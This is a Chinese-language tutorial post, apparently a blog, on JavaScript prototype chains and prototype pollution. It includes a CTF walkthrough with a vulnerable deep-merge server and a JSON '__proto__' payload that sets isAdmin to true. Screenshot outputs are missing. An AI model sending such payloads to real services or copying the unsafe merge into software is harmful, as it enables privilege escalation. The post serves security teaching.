JS原型链污染问题

134 阅读3分钟

JS创建对象

  • 普通创建

  • 函数创建

  • object创建

函数即对象

instanceof 是用来判断左侧对象是否是右侧构造函数的实例化对象

通俗的理解: 右侧是不是左侧的类,左侧是右侧的实例

这里来看下函数的instanceof是啥?

也就说吗persion是object实例出来的一个对象

prototype和proto用法

对象.proto=构造器(构造函数).prototype

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

不知道为啥最后这个是false?

这个特性常用来做为集成来使用,如下代码:

function father(){
    this.lastname="ming";
    this.firstname="gao";
}

function son(){
    this.lastname="xing";
}

// 定义这个son就是这个father的儿子
son.prototype=new father() 

var a = new son()

console.log(a.firstname,a.lastname)

输出结果:

整个过程在js引擎中可以理解为,输出a的firstname时候,首先查找son的定义,若是没有,则查找son.__proto__中的定义,也就是他继承的father里面的定义,若还是没有,则继续son.proto.__proto__中的定义。直到查找到为止或者直接到null为止

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链,每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性,指向类的原型对象prototype JavaScript使用prototype链实现继承机制

原型链污染

先抛出一个问题:

foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢

做个测试:

通过修改a.__proto__的name值,改变了b的name值

a的父类是Object,其实通过a.__proto__修改的是Object的name值,再创建新的对象时候自然带上了这个name值

这就是最简单的原型污染测试,若是攻击者能够控制原型,则将影响这个类创建的所有对象

怎样进行污染

通过一道CTF题目来实战演练下,题目主要是通过构造输入,来把自己变成admin角色。其中服务端代码为:

try {
              input = JSON.parse(post.input);
            } catch (e) {
              input = {};
            }
            delete input.isAdmin; // you can't do bad thing anyway
            console.log(input);
            console.log({}.__proto__);
            const user = merge(
              {
                name: "default",
                sex: "default"
              },
              input
            );
            if (user.isAdmin === true) {
              res.write(sercet.flag);
              delete {}.__proto__.isAdmin;
            } else {
              res.write(JSON.stringify(user));
            }
          } catch (e) {
            console.error(e);
            res.statusCode = 500;
            res.write("500 error");
          }
          res.end();
        });
      }
    }
  })
  .listen(port);
console.log("Listening on " + port);

function merge(dst, src) {
  for (key in src) {
    if (Array.isArray(dst[key]) && Array.isArray(src[key])) {
      // concatenate arrays that are values of the same object key
      object1[key] = dst[key].concat(src[key]);
    } else if (typeof dst[key] === "object" && typeof src[key] === "object") {
      // deep merge src into dst
      dst[key] = merge(dst[key], src[key]);
    } else {
      dst[key] = src[key];
    }
  }
  return dst;
}

查找资料可知再有merge函数的时候,再加上json处理,就会形成类似于原型链的调用,这里做个测试:

提取merge函数核心功能:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

测试原型链:

这个明显没有污染到o3,我们加上json再看看

o3的b有了赋值,说明通过o2的__proto__污染了{}

那这个题目就可以使用:

input={"a": 1, "__proto__": {"isAdmin": true}}

通过: